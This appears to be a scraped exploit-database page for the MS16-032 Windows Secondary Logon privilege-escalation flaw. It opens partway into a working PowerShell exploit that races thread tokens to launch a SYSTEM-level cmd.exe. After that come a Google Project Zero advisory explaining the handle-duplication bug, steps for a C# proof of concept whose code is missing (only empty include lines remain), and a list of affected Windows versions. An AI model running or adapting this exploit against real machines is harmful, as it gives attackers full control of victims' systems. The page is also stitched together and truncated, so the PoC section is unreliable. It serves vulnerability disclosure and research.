$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
Exploit Database EDB-ID : 39574
Publication date : 2016-03-20 23:00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
Sources:
https://bugs.chromium.org/p/project-zero/issues/detail?id=687
https://googleprojectzero.blogspot.ca/2016/03/exploiting-leaked-thread-handle.html
Windows: Secondary Logon Standard Handles Missing Sanitization EoP
Platform: Windows 8.1, Windows 10, not testing on Windows 7
Class: Elevation of Privilege
Summary:
The SecLogon service does not sanitize standard handles when creating a new process leading to duplicating a system service thread pool handle into a user accessible process. This can be used to elevate privileges to Local System.
Description:
The APIs CreateProcessWithToken and CreateProcessWithLogon are exposed to user applications, however they’re actually implemented in a system service, Secondary Logon. When these methods are called it’s actually dispatched over RPC to the service.
Both these methods take the normal STARTUPINFO structure and supports the passing of standard handles when the STARTF_USESTDHANDLES is used. Rather than the “standard” way of inheriting these handles to the new process the service copies them manually using the SlpSetStdHandles function. This does something equivalent to:
BOOL SlpSetStdHandles(HANDLE hSrcProcess, HANDLE hTargetProcess, HANDLE handles[]) {
foreach(HANDLE h : handles) {
DuplicateHandle(hSrcProcesss, h, hTargetProcess, &hNewHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
}
}
The vulnerability is nothing sanitizes these values. NtDuplicateObject special cases a couple of values for the source handle, Current Process (-1) and Current Thread (-2). NtDuplicateObject switches the thread’s current process to the target process when duplicating the handle, this means that while duplicating -1 will return a handle to the new process -2 will return a handle to the current thread which is actually a thread inside the svchost process hosting seclogon. When passing DUPLICATE_SAME_ACCESS for the current thread handle it's automatically given THREAD_ALL_ACCESS rights. The handle now exists in the new process and can be used by low privileged code.
This can be exploited in a number of ways. The new process can set the thread’s context causing the thread to dispatch to an arbitrary RIP. Or as these are thread pool threads servicing RPC requests for services such as BITS, Task Scheduler or seclogon itself you could do things like force a system level impersonation token (repeatedly) which overrides the security enforcement of these services leading to arbitrary file writes or process creation at Local System. It would be easy enough to run the exploit multiple times to capture handles to all thread pool threads available for RPC in the hosting process and then just keep trying until it succeeds.
One final point on exploitability. A normal user cannot use CreateProcessWithToken as the service checks that an arbitrary process can be opened by the user and has SeImpersonatePrivilege in its primary token. CreateProcessWithLogon will work but it seems you’d need to know a user’s password which makes it less useful for a malicious attacker. However you can specify the LOGON_NETCREDENTIALS_ONLY flag which changes the behaviour of LogonUser, instead of needing valid credentials the password is used to change the network password of a copy of the caller’s token. The password can be anything you like, it doesn’t matter.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile it with Any CPU support (do not set 32 bit preferred). The PoC must match the OS bitness.
1) Compile the C# source code file.
2) Execute the poc executable as a normal user. This will not work from low IL.
3) The PoC should display a message box on error or success.
Expected Result:
The call to CreateProcessWithLogon should fail and the PoC will display the error.
Observed Result:
The process shows that it’s captured a handle from a service process. If you check process explorer or similar you’ll see the thread handle has full access rights.
*/
#include
#include
#include
#include
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_vista >> Version *
References